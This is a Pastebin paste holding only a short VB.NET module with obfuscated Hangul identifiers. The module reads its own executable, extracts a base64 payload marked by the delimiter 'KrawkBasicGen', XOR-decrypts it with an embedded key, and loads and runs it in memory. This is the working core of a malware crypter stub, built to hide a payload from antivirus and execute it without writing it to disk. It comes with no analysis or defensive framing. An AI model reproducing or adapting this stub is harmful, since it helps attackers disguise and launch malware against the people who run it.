Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Module 있있그다다
- Const 리든다그특 = "KrawkBasicGen"
- Dim 있이서우다() As String = Split(IO.File.ReadAllText(Reflection.Assembly.GetExecutingAssembly.Location), 리든다그특)
- Dim 있다래그그 As Byte()
- Public xorkeyy As String = 있이서우다(2)
- Sub Main()
- 있다래그그 = Xor_Decrypt(Convert.FromBase64String((있이서우다(1))))
- Dim 다그서수다 As Object = Reflection.Assembly.Load(있다래그그).EntryPoint.Invoke(Nothing, Nothing)
- End Sub
- Public Function Xor_Decrypt(ByVal 다리다든서 As Byte()) As Byte()
- Dim 든든서이래 As Byte() = System.Text.Encoding.ASCII.GetBytes(xorkeyy)
- Dim 다이다있습 As Integer = 다리다든서(다리다든서.Length - 1) Xor 112
- Dim 그우다이습(다리다든서.Length) As Byte
- Dim 특의그그있 As Integer
- For 있있그다다0 As Integer = 0 To 다리다든서.Length - 1
- 그우다이습(있있그다다0) = (다리다든서(있있그다다0) Xor 다이다있습) Xor 든든서이래(특의그그있)
- If 특의그그있 = xorkeyy.Length - 1 Then 특의그그있 = 0 Else 특의그그있 = 특의그그있 + 1
- Next
- ReDim Preserve 그우다이습(다리다든서.Length - 2)
- Return 그우다이습
- End Function
- End Module
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement